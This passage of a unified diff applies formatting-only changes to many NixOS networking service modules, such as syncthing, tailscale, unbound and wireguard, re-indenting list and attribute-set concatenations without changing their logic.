+++ b/nixos/modules/services/networking/supybot.nix
@@ -111,62 +111,60 @@ in
 
       startLimitIntervalSec = 5 * 60; # 5 min
       startLimitBurst = 1;
-      serviceConfig =
-        {
-          ExecStart = "${pyEnv}/bin/supybot ${cfg.stateDir}/supybot.cfg";
-          PIDFile = "/run/supybot.pid";
-          User = "supybot";
-          Group = "supybot";
-          UMask = "0007";
-          Restart = "on-abort";
+      serviceConfig = {
+        ExecStart = "${pyEnv}/bin/supybot ${cfg.stateDir}/supybot.cfg";
+        PIDFile = "/run/supybot.pid";
+        User = "supybot";
+        Group = "supybot";
+        UMask = "0007";
+        Restart = "on-abort";
 
-          NoNewPrivileges = true;
-          PrivateDevices = true;
-          PrivateMounts = true;
-          PrivateTmp = true;
-          ProtectControlGroups = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          RestrictAddressFamilies = [
-            "AF_INET"
-            "AF_INET6"
-          ];
-          RestrictSUIDSGID = true;
-          SystemCallArchitectures = "native";
-          RestrictNamespaces = true;
-          RestrictRealtime = true;
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          RemoveIPC = true;
-          ProtectHostname = true;
-          CapabilityBoundingSet = "";
-          ProtectSystem = "full";
-        }
-        // optionalAttrs isStateDirVar {
-          StateDirectory = "supybot";
-          ProtectSystem = "strict";
-        }
-        // optionalAttrs (!isStateDirHome) {
-          ProtectHome = true;
-        };
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateMounts = true;
+        PrivateTmp = true;
+        ProtectControlGroups = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+        ];
+        RestrictSUIDSGID = true;
+        SystemCallArchitectures = "native";
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        RemoveIPC = true;
+        ProtectHostname = true;
+        CapabilityBoundingSet = "";
+        ProtectSystem = "full";
+      }
+      // optionalAttrs isStateDirVar {
+        StateDirectory = "supybot";
+        ProtectSystem = "strict";
+      }
+      // optionalAttrs (!isStateDirHome) {
+        ProtectHome = true;
+      };
     };
 
-    systemd.tmpfiles.rules =
-      [
-        "d '${cfg.stateDir}'              0700 supybot supybot - -"
-        "d '${cfg.stateDir}/backup'       0750 supybot supybot - -"
-        "d '${cfg.stateDir}/conf'         0750 supybot supybot - -"
-        "d '${cfg.stateDir}/data'         0750 supybot supybot - -"
-        "d '${cfg.stateDir}/plugins'      0750 supybot supybot - -"
-        "d '${cfg.stateDir}/logs'         0750 supybot supybot - -"
-        "d '${cfg.stateDir}/logs/plugins' 0750 supybot supybot - -"
-        "d '${cfg.stateDir}/tmp'          0750 supybot supybot - -"
-        "d '${cfg.stateDir}/web'          0750 supybot supybot - -"
-        "L '${cfg.stateDir}/supybot.cfg'  -    -       -       - ${cfg.configFile}"
-      ]
-      ++ (flip mapAttrsToList cfg.plugins (
-        name: dest: "L+ '${cfg.stateDir}/plugins/${name}' - - - - ${dest}"
-      ));
+    systemd.tmpfiles.rules = [
+      "d '${cfg.stateDir}'              0700 supybot supybot - -"
+      "d '${cfg.stateDir}/backup'       0750 supybot supybot - -"
+      "d '${cfg.stateDir}/conf'         0750 supybot supybot - -"
+      "d '${cfg.stateDir}/data'         0750 supybot supybot - -"
+      "d '${cfg.stateDir}/plugins'      0750 supybot supybot - -"
+      "d '${cfg.stateDir}/logs'         0750 supybot supybot - -"
+      "d '${cfg.stateDir}/logs/plugins' 0750 supybot supybot - -"
+      "d '${cfg.stateDir}/tmp'          0750 supybot supybot - -"
+      "d '${cfg.stateDir}/web'          0750 supybot supybot - -"
+      "L '${cfg.stateDir}/supybot.cfg'  -    -       -       - ${cfg.configFile}"
+    ]
+    ++ (flip mapAttrsToList cfg.plugins (
+      name: dest: "L+ '${cfg.stateDir}/plugins/${name}' - - - - ${dest}"
+    ));
 
   };
 }
diff --git a/nixos/modules/services/networking/syncplay.nix b/nixos/modules/services/networking/syncplay.nix
index eec0f802615f..f2e387282e14 100644
--- a/nixos/modules/services/networking/syncplay.nix
+++ b/nixos/modules/services/networking/syncplay.nix
@@ -10,57 +10,56 @@ with lib;
 let
   cfg = config.services.syncplay;
 
-  cmdArgs =
-    [
-      "--port"
-      cfg.port
-    ]
-    ++ optionals (cfg.isolateRooms) [ "--isolate-rooms" ]
-    ++ optionals (!cfg.ready) [ "--disable-ready" ]
-    ++ optionals (!cfg.chat) [ "--disable-chat" ]
-    ++ optionals (cfg.salt != null) [
-      "--salt"
-      cfg.salt
-    ]
-    ++ optionals (cfg.motdFile != null) [
-      "--motd-file"
-      cfg.motdFile
-    ]
-    ++ optionals (cfg.roomsDBFile != null) [
-      "--rooms-db-file"
-      cfg.roomsDBFile
-    ]
-    ++ optionals (cfg.permanentRoomsFile != null) [
-      "--permanent-rooms-file"
-      cfg.permanentRoomsFile
-    ]
-    ++ [
-      "--max-chat-message-length"
-      cfg.maxChatMessageLength
-    ]
-    ++ [
-      "--max-username-length"
-      cfg.maxUsernameLength
-    ]
-    ++ optionals (cfg.statsDBFile != null) [
-      "--stats-db-file"
-      cfg.statsDBFile
-    ]
-    ++ optionals (cfg.certDir != null) [
-      "--tls"
-      cfg.certDir
-    ]
-    ++ optionals cfg.ipv4Only [ "--ipv4-only" ]
-    ++ optionals cfg.ipv6Only [ "--ipv6-only" ]
-    ++ optionals (cfg.interfaceIpv4 != "") [
-      "--interface-ipv4"
-      cfg.interfaceIpv4
-    ]
-    ++ optionals (cfg.interfaceIpv6 != "") [
-      "--interface-ipv6"
-      cfg.interfaceIpv6
-    ]
-    ++ cfg.extraArgs;
+  cmdArgs = [
+    "--port"
+    cfg.port
+  ]
+  ++ optionals (cfg.isolateRooms) [ "--isolate-rooms" ]
+  ++ optionals (!cfg.ready) [ "--disable-ready" ]
+  ++ optionals (!cfg.chat) [ "--disable-chat" ]
+  ++ optionals (cfg.salt != null) [
+    "--salt"
+    cfg.salt
+  ]
+  ++ optionals (cfg.motdFile != null) [
+    "--motd-file"
+    cfg.motdFile
+  ]
+  ++ optionals (cfg.roomsDBFile != null) [
+    "--rooms-db-file"
+    cfg.roomsDBFile
+  ]
+  ++ optionals (cfg.permanentRoomsFile != null) [
+    "--permanent-rooms-file"
+    cfg.permanentRoomsFile
+  ]
+  ++ [
+    "--max-chat-message-length"
+    cfg.maxChatMessageLength
+  ]
+  ++ [
+    "--max-username-length"
+    cfg.maxUsernameLength
+  ]
+  ++ optionals (cfg.statsDBFile != null) [
+    "--stats-db-file"
+    cfg.statsDBFile
+  ]
+  ++ optionals (cfg.certDir != null) [
+    "--tls"
+    cfg.certDir
+  ]
+  ++ optionals cfg.ipv4Only [ "--ipv4-only" ]
+  ++ optionals cfg.ipv6Only [ "--ipv6-only" ]
+  ++ optionals (cfg.interfaceIpv4 != "") [
+    "--interface-ipv4"
+    cfg.interfaceIpv4
+  ]
+  ++ optionals (cfg.interfaceIpv6 != "") [
+    "--interface-ipv6"
+    cfg.interfaceIpv6
+  ]
+  ++ cfg.extraArgs;
 
   useACMEHostDir = optionalString (
     cfg.useACMEHost != null
@@ -321,8 +320,9 @@ in
     warnings =
       optional (cfg.interfaceIpv4 != "" && cfg.ipv6Only)
         "You have specified services.syncplay.interfaceIpv4 but IPv4 is disabled by services.syncplay.ipv6Only."
-      ++ optional (cfg.interfaceIpv6 != "" && cfg.ipv4Only)
-        "You have specified services.syncplay.interfaceIpv6 but IPv6 is disabled by services.syncplay.ipv4Only.";
+      ++
+        optional (cfg.interfaceIpv6 != "" && cfg.ipv4Only)
+          "You have specified services.syncplay.interfaceIpv6 but IPv6 is disabled by services.syncplay.ipv4Only.";
 
     security.acme.certs = mkIf (cfg.useACMEHost != null) {
       "${cfg.useACMEHost}".reloadServices = [ "syncplay.service" ];
diff --git a/nixos/modules/services/networking/syncthing-relay.nix b/nixos/modules/services/networking/syncthing-relay.nix
index eca369718018..c6244e6aafcd 100644
--- a/nixos/modules/services/networking/syncthing-relay.nix
+++ b/nixos/modules/services/networking/syncthing-relay.nix
@@ -12,17 +12,16 @@ let
 
   dataDirectory = "/var/lib/syncthing-relay";
 
-  relayOptions =
-    [
-      "--keys=${dataDirectory}"
-      "--listen=${cfg.listenAddress}:${toString cfg.port}"
-      "--status-srv=${cfg.statusListenAddress}:${toString cfg.statusPort}"
-      "--provided-by=${escapeShellArg cfg.providedBy}"
-    ]
-    ++ optional (cfg.pools != null) "--pools=${escapeShellArg (concatStringsSep "," cfg.pools)}"
-    ++ optional (cfg.globalRateBps != null) "--global-rate=${toString cfg.globalRateBps}"
-    ++ optional (cfg.perSessionRateBps != null) "--per-session-rate=${toString cfg.perSessionRateBps}"
-    ++ cfg.extraOptions;
+  relayOptions = [
+    "--keys=${dataDirectory}"
+    "--listen=${cfg.listenAddress}:${toString cfg.port}"
+    "--status-srv=${cfg.statusListenAddress}:${toString cfg.statusPort}"
+    "--provided-by=${escapeShellArg cfg.providedBy}"
+  ]
+  ++ optional (cfg.pools != null) "--pools=${escapeShellArg (concatStringsSep "," cfg.pools)}"
+  ++ optional (cfg.globalRateBps != null) "--global-rate=${toString cfg.globalRateBps}"
+  ++ optional (cfg.perSessionRateBps != null) "--per-session-rate=${toString cfg.perSessionRateBps}"
+  ++ cfg.extraOptions;
 in
 {
   ###### interface
diff --git a/nixos/modules/services/networking/syncthing.nix b/nixos/modules/services/networking/syncthing.nix
index 70a96e4740d6..12850422114a 100644
--- a/nixos/modules/services/networking/syncthing.nix
+++ b/nixos/modules/services/networking/syncthing.nix
@@ -791,30 +791,30 @@ in
     };
   };
 
-  imports =
-    [
-      (mkRemovedOptionModule [ "services" "syncthing" "useInotify" ] ''
-        This option was removed because Syncthing now has the inotify functionality included under the name "fswatcher".
-        It can be enabled on a per-folder basis through the web interface.
-      '')
-      (mkRenamedOptionModule
-        [ "services" "syncthing" "extraOptions" ]
-        [ "services" "syncthing" "settings" ]
-      )
-      (mkRenamedOptionModule
-        [ "services" "syncthing" "folders" ]
-        [ "services" "syncthing" "settings" "folders" ]
-      )
-      (mkRenamedOptionModule
-        [ "services" "syncthing" "devices" ]
-        [ "services" "syncthing" "settings" "devices" ]
-      )
-      (mkRenamedOptionModule
-        [ "services" "syncthing" "options" ]
-        [ "services" "syncthing" "settings" "options" ]
-      )
-    ]
-    ++ map
+  imports = [
+    (mkRemovedOptionModule [ "services" "syncthing" "useInotify" ] ''
+      This option was removed because Syncthing now has the inotify functionality included under the name "fswatcher".
+      It can be enabled on a per-folder basis through the web interface.
+    '')
+    (mkRenamedOptionModule
+      [ "services" "syncthing" "extraOptions" ]
+      [ "services" "syncthing" "settings" ]
+    )
+    (mkRenamedOptionModule
+      [ "services" "syncthing" "folders" ]
+      [ "services" "syncthing" "settings" "folders" ]
+    )
+    (mkRenamedOptionModule
+      [ "services" "syncthing" "devices" ]
+      [ "services" "syncthing" "settings" "devices" ]
+    )
+    (mkRenamedOptionModule
+      [ "services" "syncthing" "options" ]
+      [ "services" "syncthing" "settings" "options" ]
+    )
+  ]
+  ++
+    map
       (o: mkRenamedOptionModule [ "services" "syncthing" "declarative" o ] [ "services" "syncthing" o ])
       [
         "cert"
@@ -873,7 +873,8 @@ in
           STNORESTART = "yes";
           STNOUPGRADE = "yes";
           inherit (cfg) all_proxy;
-        } // config.networking.proxy.envVars;
+        }
+        // config.networking.proxy.envVars;
         wantedBy = [ "multi-user.target" ];
         serviceConfig = {
           Restart = "on-failure";
diff --git a/nixos/modules/services/networking/tailscale.nix b/nixos/modules/services/networking/tailscale.nix
index 42e4df10564d..80d0de468ee5 100644
--- a/nixos/modules/services/networking/tailscale.nix
+++ b/nixos/modules/services/networking/tailscale.nix
@@ -143,18 +143,18 @@ in
         pkgs.procps # for collecting running services (opt-in feature)
         pkgs.getent # for `getent` to look up user shells
         pkgs.kmod # required to pass tailscale's v6nat check
-      ] ++ lib.optional config.networking.resolvconf.enable config.networking.resolvconf.package;
-      serviceConfig.Environment =
-        [
-          "PORT=${toString cfg.port}"
-          ''"FLAGS=--tun ${lib.escapeShellArg cfg.interfaceName} ${lib.concatStringsSep " " cfg.extraDaemonFlags}"''
-        ]
-        ++ (lib.optionals (cfg.permitCertUid != null) [
-          "TS_PERMIT_CERT_UID=${cfg.permitCertUid}"
-        ])
-        ++ (lib.optionals (cfg.disableTaildrop) [
-          "TS_DISABLE_TAILDROP=true"
-        ]);
+      ]
+      ++ lib.optional config.networking.resolvconf.enable config.networking.resolvconf.package;
+      serviceConfig.Environment = [
+        "PORT=${toString cfg.port}"
+        ''"FLAGS=--tun ${lib.escapeShellArg cfg.interfaceName} ${lib.concatStringsSep " " cfg.extraDaemonFlags}"''
+      ]
+      ++ (lib.optionals (cfg.permitCertUid != null) [
+        "TS_PERMIT_CERT_UID=${cfg.permitCertUid}"
+      ])
+      ++ (lib.optionals (cfg.disableTaildrop) [
+        "TS_DISABLE_TAILDROP=true"
+      ]);
       # Restart tailscaled with a single `systemctl restart` at the
       # end of activation, rather than a `stop` followed by a later
       # `start`. Activation over Tailscale can hang for tens of
diff --git a/nixos/modules/services/networking/teamspeak3.nix b/nixos/modules/services/networking/teamspeak3.nix
index 79e76cf66f28..5c8942ca6076 100644
--- a/nixos/modules/services/networking/teamspeak3.nix
+++ b/nixos/modules/services/networking/teamspeak3.nix
@@ -148,13 +148,14 @@ in
     ];
 
     networking.firewall = mkIf cfg.openFirewall {
-      allowedTCPPorts =
-        [ cfg.fileTransferPort ]
-        ++ (map (port: mkIf cfg.openFirewallServerQuery port) [
-          cfg.queryPort
-          cfg.querySshPort
-          cfg.queryHttpPort
-        ]);
+      allowedTCPPorts = [
+        cfg.fileTransferPort
+      ]
+      ++ (map (port: mkIf cfg.openFirewallServerQuery port) [
+        cfg.queryPort
+        cfg.querySshPort
+        cfg.queryHttpPort
+      ]);
       # subsequent vServers will use the incremented voice port, let's just open the next 10
       allowedUDPPortRanges = [
         {
diff --git a/nixos/modules/services/networking/unbound.nix b/nixos/modules/services/networking/unbound.nix
index f0b5c6a916f0..7ad0c53c17e9 100644
--- a/nixos/modules/services/networking/unbound.nix
+++ b/nixos/modules/services/networking/unbound.nix
@@ -246,19 +246,18 @@ in
         ip-freebind = mkDefault true;
         define-tag = mkDefault "";
       };
-      remote-control =
-        {
-          control-enable = mkDefault false;
-          control-interface = mkDefault ([ "127.0.0.1" ] ++ (optional config.networking.enableIPv6 "::1"));
-          server-key-file = mkDefault "${cfg.stateDir}/unbound_server.key";
-          server-cert-file = mkDefault "${cfg.stateDir}/unbound_server.pem";
-          control-key-file = mkDefault "${cfg.stateDir}/unbound_control.key";
-          control-cert-file = mkDefault "${cfg.stateDir}/unbound_control.pem";
-        }
-        // optionalAttrs (cfg.localControlSocketPath != null) {
-          control-enable = true;
-          control-interface = cfg.localControlSocketPath;
-        };
+      remote-control = {
+        control-enable = mkDefault false;
+        control-interface = mkDefault ([ "127.0.0.1" ] ++ (optional config.networking.enableIPv6 "::1"));
+        server-key-file = mkDefault "${cfg.stateDir}/unbound_server.key";
+        server-cert-file = mkDefault "${cfg.stateDir}/unbound_server.pem";
+        control-key-file = mkDefault "${cfg.stateDir}/unbound_control.key";
+        control-cert-file = mkDefault "${cfg.stateDir}/unbound_control.pem";
+      }
+      // optionalAttrs (cfg.localControlSocketPath != null) {
+        control-enable = true;
+        control-interface = cfg.localControlSocketPath;
+      };
     };
 
     environment.systemPackages = [ cfg.package ];
diff --git a/nixos/modules/services/networking/v2raya.nix b/nixos/modules/services/networking/v2raya.nix
index a1b574870218..acc0a38b049f 100644
--- a/nixos/modules/services/networking/v2raya.nix
+++ b/nixos/modules/services/networking/v2raya.nix
@@ -32,7 +32,8 @@ in
         nftablesEnabled = config.networking.nftables.enable;
         iptablesServices = [
           "iptables.service"
-        ] ++ optional config.networking.enableIPv6 "ip6tables.service";
+        ]
+        ++ optional config.networking.enableIPv6 "ip6tables.service";
         tableServices = if nftablesEnabled then [ "nftables.service" ] else iptablesServices;
       in
       {
@@ -42,7 +43,8 @@ in
           After = [
             "network.target"
             "nss-lookup.target"
-          ] ++ tableServices;
+          ]
+          ++ tableServices;
           Wants = [ "network.target" ];
         };
 
diff --git a/nixos/modules/services/networking/vdirsyncer.nix b/nixos/modules/services/networking/vdirsyncer.nix
index 325c7e60a11d..cbce87f29e02 100644
--- a/nixos/modules/services/networking/vdirsyncer.nix
+++ b/nixos/modules/services/networking/vdirsyncer.nix
@@ -38,22 +38,21 @@ let
       );
 
   userUnitConfig = name: cfg': {
-    serviceConfig =
-      {
-        User = if cfg'.user == null then "vdirsyncer" else cfg'.user;
-        Group = if cfg'.group == null then "vdirsyncer" else cfg'.group;
-      }
-      // (optionalAttrs (cfg'.user == null) {
-        DynamicUser = true;
-        ProtectHome = true;
-      })
-      // (optionalAttrs (cfg'.additionalGroups != [ ]) {
-        SupplementaryGroups = cfg'.additionalGroups;
-      })
-      // (optionalAttrs (cfg'.config.statusPath == null) {
-        StateDirectory = "vdirsyncer/${name}";
-        StateDirectoryMode = "0700";
-      });
+    serviceConfig = {
+      User = if cfg'.user == null then "vdirsyncer" else cfg'.user;
+      Group = if cfg'.group == null then "vdirsyncer" else cfg'.group;
+    }
+    // (optionalAttrs (cfg'.user == null) {
+      DynamicUser = true;
+      ProtectHome = true;
+    })
+    // (optionalAttrs (cfg'.additionalGroups != [ ]) {
+      SupplementaryGroups = cfg'.additionalGroups;
+    })
+    // (optionalAttrs (cfg'.config.statusPath == null) {
+      StateDirectory = "vdirsyncer/${name}";
+      StateDirectoryMode = "0700";
+    });
   };
 
   commonUnitConfig = {
diff --git a/nixos/modules/services/networking/vsftpd.nix b/nixos/modules/services/networking/vsftpd.nix
index e6ef14b2e3e4..c42ef15df740 100644
--- a/nixos/modules/services/networking/vsftpd.nix
+++ b/nixos/modules/services/networking/vsftpd.nix
@@ -265,7 +265,8 @@ in
         description = "Extra configuration to add at the bottom of the generated configuration file.";
       };
 
-    } // (listToAttrs (catAttrs "nixosOption" optionDescription));
+    }
+    // (listToAttrs (catAttrs "nixosOption" optionDescription));
 
   };
 
@@ -287,28 +288,27 @@ in
       }
     ];
 
-    users.users =
-      {
-        "vsftpd" = {
-          group = "vsftpd";
-          isSystemUser = true;
-          description = "VSFTPD user";
-          home =
-            if cfg.localRoot != null then
-              cfg.localRoot # <= Necessary for virtual users.
-            else
-              "/homeless-shelter";
-        };
-      }
-      // optionalAttrs cfg.anonymousUser {
-        "ftp" = {
-          name = "ftp";
-          uid = config.ids.uids.ftp;
-          group = "ftp";
-          description = "Anonymous FTP user";
-          home = cfg.anonymousUserHome;
-        };
+    users.users = {
+      "vsftpd" = {
+        group = "vsftpd";
+        isSystemUser = true;
+        description = "VSFTPD user";
+        home =
+          if cfg.localRoot != null then
+            cfg.localRoot # <= Necessary for virtual users.
+          else
+            "/homeless-shelter";
       };
+    }
+    // optionalAttrs cfg.anonymousUser {
+      "ftp" = {
+        name = "ftp";
+        uid = config.ids.uids.ftp;
+        group = "ftp";
+        description = "Anonymous FTP user";
+        home = cfg.anonymousUserHome;
+      };
+    };
 
     users.groups.vsftpd = { };
     users.groups.ftp.gid = config.ids.gids.ftp;
diff --git a/nixos/modules/services/networking/wasabibackend.nix b/nixos/modules/services/networking/wasabibackend.nix
index 1c8c884fbe11..ed8d8f441555 100644
--- a/nixos/modules/services/networking/wasabibackend.nix
+++ b/nixos/modules/services/networking/wasabibackend.nix
@@ -20,25 +20,24 @@ let
     types
     ;
 
-  confOptions =
-    {
-      BitcoinRpcConnectionString = "${cfg.rpc.user}:${cfg.rpc.password}";
-    }
-    // optionalAttrs (cfg.network == "mainnet") {
-      Network = "Main";
-      MainNetBitcoinP2pEndPoint = "${cfg.endpoint.ip}:${toString cfg.endpoint.port}";
-      MainNetBitcoinCoreRpcEndPoint = "${cfg.rpc.ip}:${toString cfg.rpc.port}";
-    }
-    // optionalAttrs (cfg.network == "testnet") {
-      Network = "TestNet";
-      TestNetBitcoinP2pEndPoint = "${cfg.endpoint.ip}:${toString cfg.endpoint.port}";
-      TestNetBitcoinCoreRpcEndPoint = "${cfg.rpc.ip}:${toString cfg.rpc.port}";
-    }
-    // optionalAttrs (cfg.network == "regtest") {
-      Network = "RegTest";
-      RegTestBitcoinP2pEndPoint = "${cfg.endpoint.ip}:${toString cfg.endpoint.port}";
-      RegTestBitcoinCoreRpcEndPoint = "${cfg.rpc.ip}:${toString cfg.rpc.port}";
-    };
+  confOptions = {
+    BitcoinRpcConnectionString = "${cfg.rpc.user}:${cfg.rpc.password}";
+  }
+  // optionalAttrs (cfg.network == "mainnet") {
+    Network = "Main";
+    MainNetBitcoinP2pEndPoint = "${cfg.endpoint.ip}:${toString cfg.endpoint.port}";
+    MainNetBitcoinCoreRpcEndPoint = "${cfg.rpc.ip}:${toString cfg.rpc.port}";
+  }
+  // optionalAttrs (cfg.network == "testnet") {
+    Network = "TestNet";
+    TestNetBitcoinP2pEndPoint = "${cfg.endpoint.ip}:${toString cfg.endpoint.port}";
+    TestNetBitcoinCoreRpcEndPoint = "${cfg.rpc.ip}:${toString cfg.rpc.port}";
+  }
+  // optionalAttrs (cfg.network == "regtest") {
+    Network = "RegTest";
+    RegTestBitcoinP2pEndPoint = "${cfg.endpoint.ip}:${toString cfg.endpoint.port}";
+    RegTestBitcoinCoreRpcEndPoint = "${cfg.rpc.ip}:${toString cfg.rpc.port}";
+  };
 
   configFile = pkgs.writeText "wasabibackend.conf" (builtins.toJSON confOptions);
 
diff --git a/nixos/modules/services/networking/webhook.nix b/nixos/modules/services/networking/webhook.nix
index 7a7c8e1e7095..6d7d62dcd6fc 100644
--- a/nixos/modules/services/networking/webhook.nix
+++ b/nixos/modules/services/networking/webhook.nix
@@ -210,22 +210,21 @@ in
       environment = config.networking.proxy.envVars // cfg.environment;
       script =
         let
-          args =
-            [
-              "-ip"
-              cfg.ip
-              "-port"
-              (toString cfg.port)
-              "-urlprefix"
-              cfg.urlPrefix
-            ]
-            ++ concatMap (hook: [
-              "-hooks"
-              hook
-            ]) hookFiles
-            ++ optional cfg.enableTemplates "-template"
-            ++ optional cfg.verbose "-verbose"
-            ++ cfg.extraArgs;
+          args = [
+            "-ip"
+            cfg.ip
+            "-port"
+            (toString cfg.port)
+            "-urlprefix"
+            cfg.urlPrefix
+          ]
+          ++ concatMap (hook: [
+            "-hooks"
+            hook
+          ]) hookFiles
+          ++ optional cfg.enableTemplates "-template"
+          ++ optional cfg.verbose "-verbose"
+          ++ cfg.extraArgs;
         in
         ''
           ${cfg.package}/bin/webhook ${escapeShellArgs args}
diff --git a/nixos/modules/services/networking/wg-access-server.nix b/nixos/modules/services/networking/wg-access-server.nix
index d27f891d3d2e..c5fb98d527e6 100644
--- a/nixos/modules/services/networking/wg-access-server.nix
+++ b/nixos/modules/services/networking/wg-access-server.nix
@@ -127,7 +127,8 @@ in
         let
           capabilities = [
             "CAP_NET_ADMIN"
-          ] ++ lib.optional cfg.settings.dns.enabled "CAP_NET_BIND_SERVICE";
+          ]
+          ++ lib.optional cfg.settings.dns.enabled "CAP_NET_BIND_SERVICE";
         in
         {
           WorkingDirectory = "/var/lib/wg-access-server";
diff --git a/nixos/modules/services/networking/wg-quick.nix b/nixos/modules/services/networking/wg-quick.nix
index 5c851a08aa7e..66c77c32f2ca 100644
--- a/nixos/modules/services/networking/wg-quick.nix
+++ b/nixos/modules/services/networking/wg-quick.nix
@@ -330,36 +330,35 @@ let
         name = "config-${name}";
         executable = false;
         destination = "/${name}.conf";
-        text =
-          ''
-            [interface]
-            ${concatMapStringsSep "\n" (address: "Address = ${address}") values.address}
-            ${concatMapStringsSep "\n" (dns: "DNS = ${dns}") values.dns}
-          ''
-          + optionalString (values.table != null) "Table = ${values.table}\n"
-          + optionalString (values.mtu != null) "MTU = ${toString values.mtu}\n"
-          + optionalString (values.privateKey != null) "PrivateKey = ${values.privateKey}\n"
-          + optionalString (values.listenPort != null) "ListenPort = ${toString values.listenPort}\n"
-          + optionalString (generateKeyScriptFile != null) "PreUp = ${generateKeyScriptFile}\n"
-          + optionalString (preUpFile != null) "PreUp = ${preUpFile}\n"
-          + optionalString (postUpFile != null) "PostUp = ${postUpFile}\n"
-          + optionalString (preDownFile != null) "PreDown = ${preDownFile}\n"
-          + optionalString (postDownFile != null) "PostDown = ${postDownFile}\n"
-          + concatLines (mapAttrsToList (n: v: "${n} = ${toString v}") values.extraOptions)
-          + concatMapStringsSep "\n" (
-            peer:
-            assert assertMsg (
-              !((peer.presharedKeyFile != null) && (peer.presharedKey != null))
-            ) "Only one of presharedKey or presharedKeyFile may be set";
-            "[Peer]\n"
-            + "PublicKey = ${peer.publicKey}\n"
-            + optionalString (peer.presharedKey != null) "PresharedKey = ${peer.presharedKey}\n"
-            + optionalString (peer.endpoint != null) "Endpoint = ${peer.endpoint}\n"
-            + optionalString (
-              peer.persistentKeepalive != null
-            ) "PersistentKeepalive = ${toString peer.persistentKeepalive}\n"
-            + optionalString (peer.allowedIPs != [ ]) "AllowedIPs = ${concatStringsSep "," peer.allowedIPs}\n"
-          ) values.peers;
+        text = ''
+          [interface]
+          ${concatMapStringsSep "\n" (address: "Address = ${address}") values.address}
+          ${concatMapStringsSep "\n" (dns: "DNS = ${dns}") values.dns}
+        ''
+        + optionalString (values.table != null) "Table = ${values.table}\n"
+        + optionalString (values.mtu != null) "MTU = ${toString values.mtu}\n"
+        + optionalString (values.privateKey != null) "PrivateKey = ${values.privateKey}\n"
+        + optionalString (values.listenPort != null) "ListenPort = ${toString values.listenPort}\n"
+        + optionalString (generateKeyScriptFile != null) "PreUp = ${generateKeyScriptFile}\n"
+        + optionalString (preUpFile != null) "PreUp = ${preUpFile}\n"
+        + optionalString (postUpFile != null) "PostUp = ${postUpFile}\n"
+        + optionalString (preDownFile != null) "PreDown = ${preDownFile}\n"
+        + optionalString (postDownFile != null) "PostDown = ${postDownFile}\n"
+        + concatLines (mapAttrsToList (n: v: "${n} = ${toString v}") values.extraOptions)
+        + concatMapStringsSep "\n" (
+          peer:
+          assert assertMsg (
+            !((peer.presharedKeyFile != null) && (peer.presharedKey != null))
+          ) "Only one of presharedKey or presharedKeyFile may be set";
+          "[Peer]\n"
+          + "PublicKey = ${peer.publicKey}\n"
+          + optionalString (peer.presharedKey != null) "PresharedKey = ${peer.presharedKey}\n"
+          + optionalString (peer.endpoint != null) "Endpoint = ${peer.endpoint}\n"
+          + optionalString (
+            peer.persistentKeepalive != null
+          ) "PersistentKeepalive = ${toString peer.persistentKeepalive}\n"
+          + optionalString (peer.allowedIPs != [ ]) "AllowedIPs = ${concatStringsSep "," peer.allowedIPs}\n"
+        ) values.peers;
       };
       configPath =
         if values.configFile != null then
diff --git a/nixos/modules/services/networking/whoogle-search.nix b/nixos/modules/services/networking/whoogle-search.nix
index c0067edce7f0..d06121c7a26f 100644
--- a/nixos/modules/services/networking/whoogle-search.nix
+++ b/nixos/modules/services/networking/whoogle-search.nix
@@ -45,7 +45,8 @@ in
 
       environment = {
         CONFIG_VOLUME = "/var/lib/whoogle-search";
-      } // cfg.extraEnv;
+      }
+      // cfg.extraEnv;
 
       serviceConfig = {
         Type = "simple";
diff --git a/nixos/modules/services/networking/wireguard.nix b/nixos/modules/services/networking/wireguard.nix
index be28b1ee887d..7d266d483fb1 100644
--- a/nixos/modules/services/networking/wireguard.nix
+++ b/nixos/modules/services/networking/wireguard.nix
@@ -740,8 +740,7 @@ in
         ++ optional usingAwg kernel.amneziawg;
       boot.kernelModules = optional usingWg "wireguard" ++ optional usingAwg "amneziawg";
       environment.systemPackages =
-        optional usingWg pkgs.wireguard-tools
-        ++ optional usingAwg pkgs.amneziawg-tools;
+        optional usingWg pkgs.wireguard-tools ++ optional usingAwg pkgs.amneziawg-tools;
 
       systemd.services = mkIf (!cfg.useNetworkd) (
         (mapAttrs' generateInterfaceUnit cfg.interfaces)
diff --git a/nixos/modules/services/networking/wpa_supplicant.nix b/nixos/modules/services/networking/wpa_supplicant.nix
index f4caf21dc3b2..88eaffdc1ee1 100644
--- a/nixos/modules/services/networking/wpa_supplicant.nix
+++ b/nixos/modules/services/networking/wpa_supplicant.nix
@@ -80,21 +80,20 @@ let
 
       pskString = if opts.psk != null then quote opts.psk else opts.pskRaw;
 
-      options =
-        [
-          "ssid=${quote opts.ssid}"
-          (
-            if pskString != null || opts.auth != null then
-              "key_mgmt=${concatStringsSep " " opts.authProtocols}"
-            else
-              "key_mgmt=NONE"
-          )
-        ]
-        ++ optional opts.hidden "scan_ssid=1"
-        ++ optional (pskString != null) "psk=${pskString}"
-        ++ optionals (opts.auth != null) (filter (x: x != "") (splitString "\n" opts.auth))
-        ++ optional (opts.priority != null) "priority=${toString opts.priority}"
-        ++ filter (x: x != "") (splitString "\n" opts.extraConfig);
+      options = [
+        "ssid=${quote opts.ssid}"
+        (
+          if pskString != null || opts.auth != null then
+            "key_mgmt=${concatStringsSep " " opts.authProtocols}"
+          else
+            "key_mgmt=NONE"
+        )
+      ]
+      ++ optional opts.hidden "scan_ssid=1"
+      ++ optional (pskString != null) "psk=${pskString}"
+      ++ optionals (opts.auth != null) (filter (x: x != "") (splitString "\n" opts.auth))
+      ++ optional (opts.priority != null) "priority=${toString opts.priority}"
+      ++ filter (x: x != "") (splitString "\n" opts.extraConfig);
     in
     ''
       network={
diff --git a/nixos/modules/services/networking/yggdrasil.nix b/nixos/modules/services/networking/yggdrasil.nix
index f40440fc3674..b9227b6ab464 100644
--- a/nixos/modules/services/networking/yggdrasil.nix
+++ b/nixos/modules/services/networking/yggdrasil.nix
@@ -216,42 +216,41 @@ in
